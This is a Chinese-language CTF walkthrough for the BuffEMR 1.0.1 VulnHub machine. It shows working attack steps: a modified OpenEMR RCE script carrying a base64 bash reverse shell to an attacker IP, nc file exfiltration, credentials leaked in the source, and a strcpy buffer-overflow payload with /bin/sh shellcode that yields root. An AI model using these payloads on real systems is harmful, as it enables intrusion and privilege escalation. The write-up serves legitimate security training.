準備:
攻擊機:虛擬機器kali、本機win10。
靶機:BUFFEMR: 1.0.1,下載地址:https://download.vulnhub.com/buffemr/BuffEMR-v1.0.1.ova,下載後直接vbox開啟即可。
知識點:openemr框架漏洞、原始碼敏感資訊洩露、緩衝區溢位漏洞提權、gdb除錯的使用。
透過nmap掃描下網段內的存活主機地址,確定下靶機的地址:nmap -sn 172.20.10.0/24,獲得靶機地址:172.20.10.5。
掃描下埠對應的服務:nmap -T4 -sV -p- -A 172.20.10.5,顯示開放了21、22、80埠,開啟了ftp服務、ssh服務、http服務。
FTP服務收集原始碼資訊:
匿名登入ftp服務發現存在一個share資料夾,資料夾中包含了openemr檔案家,openemr檔案下是專案的原始碼資訊。
將整個專案下載下來,命令:wget -r -np -nH ftp://172.20.10.5/share/openemr/。
在原始碼中查詢資訊,經過一番查詢之後在tests資料夾的test.accounts檔案中獲得一個測試賬戶資訊:admin/Monster123。
WEB服務:
訪問80服務顯示是一個預設頁面,沒什麼資訊,嘗試訪問下/openemr目錄,命令:http://172.20.10.5/openemr,成功進入到登入頁面。
使用獲得賬戶資訊:admin/Monster123進行登入,成功登入到系統。
使用searchsploit搜尋下openemr框架的漏洞資訊,發現openemr框架的漏洞基本和框架的版本資訊有關,那就在web介面找下框架的版本資訊,發現是:v5.0.1 (3)。
那就使用searchsploit搜尋下openemr框架v5.0.1 (3)的漏洞資訊,發現以下漏洞。
漏洞獲取shell:
利用php/webapps/45161.py指令碼獲取shell許可權,但是此指令碼存在一點問題需要進行修改,修改前後如下
#下面是修改前的
_cmd = "|| echo " + base64.b64encode(args.cmd) + "|base64 -d|bash"
#下面是修改後的
_cmd = "|| echo " + 'YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMjAuMTAuNy82Njg4IDA+JjE=' + "|base64 -d|bash"
中間的加密的字元是自己對反彈shell的語句進行的base64.b64encode()加密,加密指令碼如下
import base64
str = 'bash -i >& /dev/tcp/172.20.10.7/6688 0>&1'
mystr = bytes(str,encoding="utf-8")
print(base64.b64encode(mystr))
執行45161.py指令碼成功獲取到shell許可權,命令:python 45161.py http://172.20.10.5/openemr -u admin -p Monster123 -c 'bash -i >& /dev/tcp/172.20.10.7/6688 0>&1',這裡後面的命令是不起作用的,因為在程式碼裡寫死了。或者將語句修改將加密後的bytes轉換成字串放到語句中,這樣的話-c的命令就可以起作用。
提權-buffemr許可權:
在var目錄下發現一個user.zip檔案,將該檔案下載下來:
#kali
nc -nlvp 8888 > user.zip
#靶機shell
nc 172.20.10.7 8888 < user.zip
但是在解壓user.zip檔案的時需要密碼,嘗試使用john、fcrackzip進行爆破,但是均失敗,後來在ftp服務中發現的openemr裡發現了一組資訊,該資訊在openemr\sql目錄下的keys.sql檔案中,資訊為:INSERT into ENCKEY (id, name, enckey) VALUES (1, "pdfkey", "c2FuM25jcnlwdDNkCg==");
嘗試使用獲得c2FuM25jcnlwdDNkCg==進行解密,解密成功,獲得user.lst檔案,檔案資訊是一組賬戶資訊:buffemr/Iamgr00t。
使用獲得賬戶資訊:buffemr/Iamgr00t切換到buffemr賬戶許可權,但是顯示:must be run from a terminal,那我們就直接使用ssh連線,命令:ssh buffemr@172.20.10.5,成功獲得buffemr賬戶許可權。
獲得buffemr許可權後在/home/buffemr目錄下發現user_flag.txt檔案,讀取該檔案成功獲取到flag值。
提權-root許可權-緩衝區溢位提權:
透過:find / -perm -4000 -type f 2>/dev/null,來查詢可疑檔案,發現dontexecute檔案。
檢視dontexecute檔案,發現其存在一個未進行限制的strcpy函式,那麼這可能就存在記憶體溢位漏洞。
我們先檢視下ASLR(地址隨機化,一種緩衝區溢位的安全保護技術)是否被禁止,命令:cat /proc/sys/kernel/randomize_va_space,發現已被禁止。
使用gdb進行除錯程式,命令:gdb -q dontexecute。
然後用 metasploit 中的 pattern_create.rb 生成數量 1000 的字串用來計算偏移量,命令:/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 1000。
將生成的字串用命令 r 在 gdb 中執行,如下,程式報錯,顯示在這個地址出現錯誤:0x31724130。
計算下此地址:0x31724130的偏移量,命令:./pattern_offset.rb -q 0x31724130,得到其偏移量為512。
在網上找了一個shell:\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh,共53個位元組,因此需要從512-53=459的地方開始執行我們的命令,因此payload:$(python -c 'print "\x90" * 459 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"')。
#shell
\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh
#payload
$(python -c 'print "\x90" * 459 + "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"')
退出gdb模式,使用dontexecute檔案來執行我們的payload,命令:./dontexecute payload,成功獲得root許可權。
獲得root許可權後在/root目錄下發現Root_flag.txt檔案,讀取該檔案成功獲得flag值。